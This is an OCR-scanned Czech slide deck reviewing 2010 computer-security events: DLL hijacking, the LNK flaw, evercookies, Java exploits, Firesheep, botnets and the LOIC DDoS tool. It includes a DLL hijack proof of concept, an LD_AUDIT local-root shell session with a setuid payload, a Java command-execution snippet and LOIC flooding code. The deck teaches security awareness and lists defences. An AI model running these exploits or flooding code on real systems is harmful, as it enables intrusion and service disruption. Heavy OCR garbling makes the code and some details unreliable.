Bezpecnost 2010
dnes v 7:00 rano

Cuba++
bodik

(v obracenem abecednim poradi :)



Co vas ceka ...

Hruza a bés ...
... chvile napeti ...
... Uleva ...
... Sok ...
... hespavost ...
... a obligatni fotografie televizniho uvadece.

Pritom nam letos chybi ...
... Stava, ...
... sul a Spek ...
... a jako bonus ...
... Jsme se pokusili ...
... today's prezentaci ...
... sepsat mostly ceski.



MS DLL HIJaCk >> binarni vysev (binary planting)

* 2000 — htlp://www.securityfocus.com/bid/1699 htlp://seclists.org/bugtrag/2000/Sep/331

* Gregory Guninski objevil, Ze dynamicky linker ve Windows vyhledava aplikaci
pozadované knihovny ( LoadLibrary () ) i v aktualnim adresafi. To muze v
nékterych pripadech vést k natazeni viru a to i presto, ze uzivatel kliknul na
soubor .doc, .mp3 (tedy kazdopadné nezavadny datovy soubor .. . Ze ;)

* Microsoft na to Pane G., dékujeme, ale tato chyba neni nikterak zavazna ...

° 201 O — htlp://www.securityfocus.com/archive/1/513190

v iwv s

a publikovali, ze stejna chyba byla nalezena v produktu iTunes. To spustilo lavinu
Silenstvi a hledani veskerych moznych kombinaci aplikaci, které jsou timto trikem
zneuzitelné za pomoci toho nejsnazsiho socialniho inzenyrstvi dneska ...

* htlp://isc.sans.edu/diary.html?storyid=9445




MS DLL Hijack >> ked a vyroba

* ... Inu dobre, neni to tak snadné, zalezi na samotném programu, ve
kterém jsou soubory otevirany ...

* Dynamic-Link Library Security —
htlp://msdn.microsoft.com/en-us/library/ff919712%28VS.85%29.aspx

* ... Jenze vyroba takovehoto zlobitka je hrozne snadna ...

Zdrojovy kod (10 minut)
MinGW gcc (5 sekund)

o Process monitor (10 minut)
o Zabalit zacilené DLL s mp3
a odeslat na rapidshare ...

(5 minut)

o Funguje jiz 10 let ...
... v8imli byste si ?

10.
11.
1Z.
13.
14,
15.
1a.
17.
13.
19.
0.
Z1.
Z22.
Z3.

W03 -1 T on s L [

#include <windows.ls
#define DLLIMPORT _ declspec [(dllexport)

EOOL WINAPT D11Main (HAWNDLE hinstDLL, DWORD fdwFReaszon, LFVOID lpvwEeserwved)
i

[fduReaszon)

DLL_PROCES: ATTACH:
hijack() :

DLL_THEEAD ATTACH:

DLL_THEEAD DETACH:

DLL_PROCES: DETACH:
hreak:

¥

int hijacki] {
WMinExec ("calc™, 0):
o:




MS DLL HIJaCk >> pripady uziti
* Hele Kubo, prinesl sem ti to novy CD kapely "Gott You" ...

* Hele Kubo, koukni na tenhle odkaz [UNC] \\mujserver\adresar

e .. kdo neveéri at se diva ...

* testovano Windows XP bez zaplat
— (1) WinAmp + TotalCommander
—(2) Media Player Classic + Explorer.exe + hidden DLL

* testovano Windows 7 se vSemi dostupnymi patchi (11/2010)
—(3) WinAmp 5.5 + Explorer.exe + hidden DLL
— (4 bez videa) WinAmp 2.73 + Explorer.exe + hidden DLL




MS DLL HIJaCk >> vy divodiné ...

* Prosadilo se vlastne ? Tézko rici, globalni zneuziti je mirné
problematicke, ale pro cilené nebo polocilené utoky je to velmi levny
zpusob ...

* Nekompletni seznam zranitelného SW
* htlp://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

— Adobe - Dreamweave, Photoshop, llustrator, ...
— Apple - Safari, QuickTime Player

— Avast - LicenceFile (! heh!lol !'s4s!)

— BS.Player - mp3

— Cisco - Packet Tracer (Gott any ISP admin ?)
— Citrix - ICA

— Mozilla - Firefox, Thunderbird
— PGP - Desktop

— Corel - Draw, Photo Paint _ ::;:;y_ Player

— Daemon Tools - sdileci a parani ~  Skype

— Google - Chrome — uTorrent

— IBM - Lotus Notes, Symphony, RAD _ Videolan - VLC

— Microsoft - Powerpoint,Word,Mail,Movie Maker, ... WinAmp
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Linux dyn loader LD AUDIT local root

Ja chci taky!

Linux nejsou Windows. Ale umime to i na Linuxu?

Red Hat udelal vsechno spravnée

Vyhozeni DEBUG (chybi makro assert)

http://seclists.org/fulldisclosure/2010/Oct/257

— $ORIGIN is an ELF substitution sequence representing
the location of the executable being loaded in the
filesystem hierarchy.The ELF specification suggests that
$ORIGIN be ignored for SUID and SGID binaries




Hypoteticky prikad (nezkousejte doma)

minCentos53 - VMware Player File ~ VM - Help ~

[cuba®localhost 15 export BASE=rtmp-c

[cuba@localhost 15 mkdir /tmp-c

[cubalPlocalhost ~15 mkdir SBASE- e

[cuba@localhost ~15 In ~binsping S{BASE}- e tqg

[cuba@localhost 15 exec 3¢ ${BASE}-ertqg

[cuba@localhost 15 1ls -1 sprocs55-.fd 3

Ir-x—----- 1 cuba cuba 64 Dec 1 15:31 rprocrs4HH1-fd~-3 -> stmpscrestyg
[cuballocalhost ~15 rm -fr S{BASE}-e

[cuba@localhost 15 1ls -1 ~proc/55-.fd/3

Ir-x-—----- 1 cuba cuba 64 Dec 1 15:31 rsprocs4881-fd-3 -> stmprcrestg (deleted)
[cuba®localhost 15 cat > pay.c

void attribute  ((constructor)) init()

{ setuid(B): system(",binsbash™): }

[cuba®localhost ~15 gcec -w -fPIC -shared -o $S{BASE}~e pay.c
[cubaBlocalhost ~15 1= -1 S{BASE}-e

-ruwxrwxr-x 1 cuba cuba 4219 Dec 1 15:34

[cuba®localhost 15 LD_AUDIT="“SORIGIN" exec ~procrself-fd 3
[root@localhost "1# id

wid=B(root) gid=58B(cubal) group=s=58B(cuba)

[rootPlocalhost " 1# _

To direct input to this virtual machine, press Cii+3.




Linux dyn loader LD AUDIT local root

* Jak nato?
 Mame pridat DEBUG?

* Staci vetsSinou rozum:
* oddélit diskové oddily (/usr, /home, /tmp, /var/tmp)

* pfipojit FS nosiud, noexec atd.

* no a patchovat ... ;-)
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MS LNK Exec

15. Cervence 2010

Zakladni soucast MS Windows (shell32.dll) obsahovala dalsi z
mnoha chyb, ktera vede k uzivatelem neplanovanemu spusteni
utocnikova kodu ...

Chyba byla v kodu, ktery ze souboru .LNK (zastupci) zobrazoval
prisusnou ikonku pro zastupce

Ke spusténi chyby tedy staCilo POUZE otevfit adresar se
zastupcem

* tedy neni ani potfeba na nic klikat !

Vektor utoku: sdilené adresare, rapidshare, dc++, ...
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EverCookies
(Soukromi. Zna to slovo jesté nekdo ?)

K ¢emu je dulezita identifikace uzivatele? Je prospésna?

o
Look, Cookiel Never ending Cookie!




EverCookies

* 13 ruznych metod ulozZeni cookie (na identifikaci uzivatele).
Funguje | mezi prohlizeci!
— Standard HTTP Cookies
— Local Shared Objects (Flash Cookies)

— Storing cookies in RGB values of auto-generated, force-cached PNGs
using HTMLS Canvas tag to read pixels (cookies) back out

— Storing cookies in Web History (seriously. see FAQ)
— Storing cookies in HTTP ETags

— HTMLS Session Storage

— HTMLS Local Storage

— HTMLS Global Storage

— HTML5 Database Storage via SQLite

« Stadi jedna ze 13 a vime, kdo jsi




EverCookies

* ETags - puvodné slouzi pro identifikaci obsahu (pro cache) Kdyz se
obsah zméni, pak se zméni i ETag. Co kdyz budeme ETAG
generovat pro kazdého uzivatele jiny...

- WEB History - zabali data do Base64. Reknéme, Ze data jsou:
"bcde". Evercookie zacne pristupovat na adresy takto:

— google.com/evercookie/cache/b

— google.com/evercookie/cache/bc

— google.com/evercookie/cache/bcd
— google.com/evercookie/cache/bcde
— google.com/evercookie/cache/bcde-

* Tyto URLs jsou nyni v ulozené historii. Pozdeji se na tyto URL
dostaneme backtrackingem. (pomoci JavaScriptu)




EverCookies (magie)

* RGB PNG: skript vygeneruje tmp cookie, kterou nacte PHP kaod,
a vygeneruje obrazek PNG, kde RGB hodnoty odpovidaji datum v

EverCookie.

* Pristoupi-li klient znovu na evercookie stranku, pak vzdy na dotaz

stazeni tohoto obrazku reaguje server podvrhnutim "304 Not

Modified" a tim se natahne obrazek z lokalni cache klienta. Obrazek
pak natahne jako HTML5 canvas, kde ho muze Javascript precist.

A mavas ;-)

= 3L D "L ££ HH HE UHE Uy HE HE OB ug HH UY uwv Jb0
315

samy.pl/evercook
iefevercookie_pn
g.php?name=uid-v+
equest-method -GE
T-response-head-
HTTP/1.1 384 Hot

Modified- -Date:

Wed, 81 Dec 281
B B8:53:53 GHT--
Server: Apache/f2
-2.3 (CentDS )R




EverCookies

Co s tim?

* dnesni prohlizeCe maji moznost ochrany (private, incognito)

* existuji specializované programy na uklizeni (CCleaner)

Options C ﬁ Q,
= — = .r"'ﬁL
J i s Fj == . . :
o i — You've gone incognito. Pages that youw
General Tabs Content  Applications = Privacy  Secunty history or search history, and they won't lez
] after you close the incognito window. Any fi
History create will be preserved, however.
Firefox will: | Never remember history - |

Firefox will use the same settings as private browsing, and will not remember any
history as you browse the Web.

You may also want to clear all current history.
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Java Exploits

* kdo by to Cekal, ze ... java vSude (ME, SE, EE), ale zvlastni ze
rozSifeni utoku se zacCalo konat az letos, mozna jsou hackeri
PDFkama a Flashem uz znudeni ...

* Jen pro letosni rok objevené a pouzivané chyby:

o CVE-2010-0886
— Java Web Start

o CVE-2010-0094
— Java RMIConnectionlmpl Object Deserialization

o CVE-2010-0840
— Java Trusted Method Chaining

P
€

—

Kf/////////jﬁ

o CVE-2010-1423

— Java Deployment Toolkit Remote Argument Injection Vulnerability



J2EE Application servers

* BlackHat 2010 -- automaticky nastroj pro vyhledavani a
automatickou exploitaci nezabezpecenych konektoru do AS

(jooss - web, rmi, jmx-invoker,

c
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J2EE Web Attack tools .cn (job 2009)

Server Information
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J2SE nema nikde defaulthe omezeny Exec ...

public String exeCmd (String cmd) {
Funtime runtime = Runtime.getRuntime () ;
Process proc = ;
String retStr = "";
InputStreamReader insReader = ;
char[] tmpBuffer = new char[1024];

int nEet = 0;

try |
proc = runtime.exec (cmd) ;
insReader = new InputStreamReader (proc.getInputStream());
while [ (nRet = insReader.read (tmpBuffer, 0, 1024)) !'= -1} {

retStr += new String (tmpBuffer, 0, nRet);
}

insReader.close () ;
retsitr = HTMLEncods (retStr) ;

1
¢

2

[//////////JJ?

{

... kdyz roota, tak pro vsechny a myslime to uprime ;)



J2EE prinese jeste vice zabavy ...

* ... slibuji, ale az zase za rok ;) Doporucujeme bedlivé sledovat zpravy
renomovanych zpravodajskych agentur ...

& - & © @ 3 nto//mwww.cbe.com/mediall3/120x 90t pg
B Cmm il st b4 | (=) K_| ; A TR .. X |3




J2EE Applications and Frameworks ...

. " I 4
oo | Stranl’(y razeni Historie Zalozlky Néastroje MNapovéda
zavedenych G |[C]— s emmm— /GRS <1 \ice —page/” é

PrOfESIONAINICH . o —— s e—
java.vm.vendor sun Microsystems Inc.
java.vm.version 1.5.0 22-b03
javax.net.ssl.trustStore /optigil/cert S Ca
.S8sl.trustStorePassword heslol 23
line.separator
os.arch amdeg4
os.name Linux
os.version 2.6.34 . 4dserv
package.access sun.,org.apache.catalina.,org.apache.coyote.,o:
package.definition sun.,java.,org.apache.catalina.,org.apache.coyc
path.separator:
server.loader ${catalina.homel}/server/classes,${catalina.ho:
shared.loader ${catalina.base}/shared/classes, ${catalin
sun.arch.data.model 64

sun.boot.class.path e /usr/lib/fjvm/java-1.5.0-sun-1.5.0.22/jt g///////;ﬁ
¢ fusr/lib/jvm/java-1.5.0-sun-1.5.0.22/j1

1
¢
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FireSheep for FireFox

* Plugin do Firefoxu (Kdo zna Firefox, nezvedne ruku), ktery sleduje
provoz na WiFi siti a hleda hesla pro zname sluzby. Pro svou praci
potrebuje WIinPCAP, takze modfri uz vedi... Obranou je stale to
samé: pouzivat SSL kde muzete (a budeme vérit, ze vam to
pomuze viz predaska z 2009)

= NN Mozilla Firefox =

1 (Untitied)

 Ale nezoufejte! Je tu [“" ”*’*FLE:JD 0

novy plugin na obranu Siop Capturing
pred pluginem: P

lan {.Jllagher News Feed
. ’ ’ lan Edit My F
BlackSheep — zjisti ! e reeTTTTET

pfitomnost FireSheepu 2= i
a varuje uzivatele, ze L 2 () Evens . ‘E realized i really

8 for some fake r
&0 Friends

se nachazi na indeed.

| A | Create Group...

zamoreném uzemi ... " T fenpony Dusbled &

2SFOX Sy

S 6
E:
e
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IPvO se stane no¢ni murou ...

* CZ.NIC (24.11.2010)
Uz len 98 dni, prosim nezabudni, ze sa blizi den ked zazvoni zvon ...

* Usneseni vlady Ceské Republiky ze dne 8.6.2009 &. 727

o ... vlada souhlasi s prechodem na internetovy protokol verze 6 ...

o ... vlada uklada ministrum a vedoucim ostatnich ustrednich
organu statni spravy zajistit:

" od 30.6.2009 nakupovat sitove prvky kompatibilni s IPv6

" do 31.12.2010 pristup k internetovym strankam a verejne
dostupnym sluzbam eGovernmentu internetovym protokolem
IPv4 i IPV6

uuuuuuuuuuuuuu



..., protoze priznejme si 6e ...

* ... nejsme pfipraveni na ¢ervenou pilulku, aneb jak je dulezité miti
Siteru :)

"
T
"

:~# 55h -0 "ConnectTimeout 5" s . 45
: connect to host B TTW $.45 port 22: Connection timed out

n
=

L SJ:~# 55h -0 "ConnectTimeout 5" -6 fTeB80::218:8bff:fele: ™ 5%eth
root@fe80: :218:8bff:fede:m™S%eth0’s password:

Permission denied, please try again.
root@fe80::218:8bff:fede:bmiSketh0’s password:

Permission denied, please try again.

root@fe80: :218:Bbff:felde:furoXeth0’s password:

Permission denied (publickey, password).

| i




Prehled svétovych botnetu ...

Aneb jak na deseti slidach unudit auditorium k smrti ...

BOTNETS



Prehled svétovych botnetu ...

... aneb kdo, jaky a komu pernicek loupe [1/10]

* Bredolab

o Rozesilal spamy s virovym obsahem
(3.6 miliardy denné)

o Vykradal udaje o bankovnich uctech

o Napadl pres 30 milionu pocitacu od Cervna 2009




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [2/10]

 Conficker

o Sifil se pomoci vzdaleného exploitu v MS RPC, USB
autoruns a slabé zaheslovanych sdilenych adresaru

o Mel velmi sofistikovany vyvoj a predstavil nekolik novych
vychytavek at uz pri komunikaci se svymi kumpany tak i v
oblasti obchazeni antivirovych produktu

o Jeho vyuziti nebylo primarné urceno
(large scale generic p2p exec-pad .. probirali jsme detailné loni)




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [3/10]

* Gumblar

o Sifil se pomoci zranitelnosti v browserech a pluginech pro
PDF a Flash

o Krome ziskavani béznych dat z uzivatelskych PC
(bankovni udaje, ...) se zajimal o hesla k FTP uctum aby
se pomoci takto ziskanych pfistupu k webovym projektum
mohl dale sirit




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [4/10]

* Kneber
o Sifeni pomoci socialnich siti, spam, phishing ... (drive-by)
o Rozsah cca 80 000 pocitacu
o Primarne neni urcen pro ziskavani uzivatelskych dat

pfimo, ale pro prodej napadenych pocitacu tretim
stranam ...




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [5/10]

* Pushdo/Cutwail
o SiFeni pomoci spamu
o Veliky duraz kladli autofi na to aby zustali pod radarem,
jejich virus zustaval témér vyhradné pouze v pameéti coz

znacne komplikuje detekci

o Zajimave je také, ze virus samotny neobsahuje kod pro
vlastni samosireni . w




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [6/10]

e Storm

o Sifeni pomoci spamu (zodpovédny za cca 20%
celosvétového spamu), pfipadné faleSnych antiviru ...

o UrCen byl primarné pro rozesilani spamu ...




Prehled svétovych botnetu ...

... aneb kdo, jaky a komu pernicCek loupe. [7/10]
* Stuxnet

o Vysoce specializovana hrozba urCena pro napadani SCADA
systému (fidici prvky prumyslovych komplexu -- elektrarny,
fabriky). Velmi sofistikované napadal PLC (Programmable Logic
Fields) fidicich systému elektrickych generatoru ...

o SiFi se pomoci MS LNK, Win Print Spool Remote Exec, MS RPC
a 2ma zatim nepublikovanymi chybami v MS Win

o Protoze jsou ridici pocCitaCe odpojeny od verejneho internetu, kod
Stuxnetu musi byt na toto prostredi velmi dobfe pfripraven ...

S13INL1O

o Primarne je urCen pro sabotaz !!!



Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [8/10]

* Rustock

o YASN -- Yet Another Spam Network, zaméreny pfevazné
na medicinské produkty z Kanady

o Zajimavosti je, ze pro rozesilani spamu umel vyuzivat
Sifrovanych (SSL/TLS) kanalu pfi doru€ovani posty




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [9/10]

* Waledac
o Sifeni pomoci spamu a phishingu

o UrCen pro spam a phishing
(cca 1.5 miliardy spamu denné)




Prehled svétovych botnetu ...
... aneb kdo, jaky a komu pernicCek loupe. [9/10]

* Zbot (Zeus botnet)

o Primarnim zamérenim na ziskavani bankovnich udaju

o Svym panum zatim dokazal vynést cca 70 milionu USD
o V souvislosti s botnetem Zeus uz probehlo zatykani...

o Nekteri hackeri stojici za touto siti byli dopadeni




A nyni si prosvistime
kratké zpraficky ...

... a ha to jsme si pozvali
zahraniCcni vypomoc.




McAfee .DAT super update

* Chytré hlavy z McAfee vydali aktualizaci virovych informaci tak, ze
jejich produkt identifikoval systémovou komponentu MS Windows
XP SP3 svchost.exe jako virus ...

* ... tim odstavil vS8echny PC, které si stahly danou aktualizaci z
provozu, a naprava musela byt provedena rucne servisnimi
pracovniky pomoci "Safe Mode", tedy ru¢né ...

* nastesti jsou ZCU IS K1 v Evropég, takZze makadi z USA udélali
Spinavou praci, detekovali a opravili DATKu drive nez se nam v
Evrope stroje probudili a stihli "se rozbit" ...

http://isc.sans.org/diary.html?storyid=8656
http://isc.sans.org/diary.html?storyid=8671

) McAfee

SECURITY



Secunia DNS records hacked

« 25. listopadu 2010 v 00:40 byl DNS provoz velkého ISP
presmerovan na 70minut.

* Vysledkem bylo pfresmeérovani provozu - hlavne webu (o mailu se
nemluvi) mj. spoleCnosti Secunia (ktera se bezpecnosti zivi...)

* MiluvcCi Secunia poprel, ze by tato neprijemnost ovlivnila klienty
(ale znate to...)

Secunia

Stay Secure



Checkpoint UTM-1 edge VPN boxes
does an unscheduled reboot

* Reboot nastal v dusledku pretecCeni jedné z internich proménnych
ktera pocita Cas ...

* Podle analyzy vyplynulo, ze k preteCeni dochazi

maximalné jednou

za 13.6 let :)))




Kudy kudy cesticka

* 8. dubna 2010, chyba v konfiguraci (4 z 5 sitaru vi, Ze to byla chyba)
zpusobila 18minutové presmérovani vesSkerého IP provozu pres
cinske servery.

* MIluvcCi Cinského Telecomu odmitnul narceni, ze by to udélali
schvalné ... ;-)

* Postizené organizace zahrnovaly: vladni a vojenske site: Army,
Navy, Air Force and Marine Corps, dale pak urad ministerstva
obrany, ministerstva obchodu, NASA a US senat.




Kdyz po tobe jde FBI ...

* Kamaraduv otec byl muslim...
* Ejhme, co nasli u vyfuku

* FBI: Vrate nam nasi GPS!




Drobné chybiCky chytrych telefonu

* IPhone
— Zamknuty iPhone? 911 a dvakrat na "home" ...

* Android
— 88 vaznych chyb primo v jadfe OS, Andriod silent installation bug

* WebOS
— prevazne javascriptove aplikace jsou budouci problem, existuje jiz
nékolik exploitu ...

* Symbian
— jaky Symbian?




LOIC >> Low Orbit lon Cannon

* WikiLeaks.org a Julian Assange zlobi (pfevazné) americkou viadu

— Publikovani 250 tis. tajnych depesi je opravdu trochu moc :)

— USA.gov nemuze server zlikvidovat, ale tlaCi na spoleCnosti, které poskytuji
Wikileaks.org sluzby aby je neposkytovali ...

— MasterCard, Visa a PayPal zablokovali platebni sluzby,

— jenze ...

* The Operation Payback
— Coz se nelibi zastancim Wleaks.org at’ uz je to kdokoliv ...

— Spustili informacni kampan a zacali nabor do dobrovolného botnetu, ktery ma
za cil DDoS na vybrané cile ...

— Vybrané cile: MasterCard, Visa a PayPal ..
- Utok se poved, nékteré webové servery to neustaly ...

— Pomérné drzé, co az nékdo napadne facebook ?



LOIC >> Low Orbit lon Cannon

* Tlusty LOIC >> javalLOIC

— javovsky klient, ktery jako C&C pouziva konfigurovatelny Twitter kanal
« WEB C&C > v zasade zadna novinka
— instalace, konfigurace a nasleduji 2 kliknuti GetOrders a Fire!!

‘Low Orbit

iy IP 127.0.0.1

Jon Cannon

PORT B8O
FIRE!!

‘ GET ORDERS

Master Twitter id

javaloic Speed

E 3 Threads 10 . { ,
JAVALO’ % Protocol Tcp 1=
L 0

Successful Requests




[@)sLoiCcvo.2 dh

Step 1. Select your
% _ - target: URL:

or current tan

Message And Speed Step Attack status:

° J avascri ptOVé Ve rze . 2. if desired slelect speed " o
equested:

and msg Requests per

— pomerné oskliva zalezitost =cn .
' ppend message:

* funguje i na mobilnich zafizenich

help in support of

— hardcoded targets
— SameOrigin policy ? -
 DOM rO0Olez

fireButton.onclick = function () {
if (isFiring) {
clearInterval(firelnterval);

isFiring = false;

this.innerHTML = "IMMA CHARGING MAH LAZER";
} else {

isFiring = true;

this.innerHTML = "Stop flooding";

fireInterval = setlnterval (makeHttpRequest, (2500 / parselnt(rpsNode.value) | 0));

gl

if {requestedCtr = failedCtr + succeededCtr + 10008) { //Allow no more than 1000 h
return;

var makeHttpRequest = function () {

I

var rID =Number(new Date());

var img = new Image();

img.onerror = function () { onFail(rID);
img.onabort = function () { onFail(rID);
img.onload = function () { onSuccess(rlD)

¥
b
s }: /7 TODO: it may never happen if target URL is not an im
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageMode.value);

requestsHT[ rID] = img;
onRequest(riD) ;




2010 shrnuto a secteno = 42

* Tezko rici, z naseho pohledu neni tento rok ani slany, ani mastny
(ale také jesté neskoncil ;)

« ZAadné zasadni vé&ci typu
+ DNS v haji ...
* X.509 na cary ...

* Ale vSechny zminene véci se proste pouzivaiji ...

* Neprobirali jsme:

o wikileaks.org, napadeni apache.org, cryptome.org

o google.com (aurora)

o cloud computing, dochazejici IPv4 adresy (kdo ma A-class)

o kopec vSelijakych exploitu
(MS/Linux/MacOS/Android/PDF/Flash) ...



O kom, o com ...

A A



Pocasi 2010

1.12.2010 11:45 CET

Sun Alerts

http://blogs.sun.com/security/?cat=alerts&date=200811

Debian Security Advisories
http://www.debian.org/security/2009/

Microsoft Security Bulletin

http://www.microsoft.com/technet/security/current.aspx

Gentoo Linux Security Advisories

http://www.gentoo.org/security/en/glsa/index.xml

FreeBSD Security Advisories

http://www.freebsd.org/security/advisories.html
http://www.vuxml.org/freebsd/

CVE Candidates

http://cve.mitre.org/data/downloads/allcans.txt

2010

89

162

638

Sun

migraryiiems

GQ

Microsoft

2009

216

246

68

2008

173

235

69

191

161

6432



2010 .. dekujeme
Ze |ste to prezili
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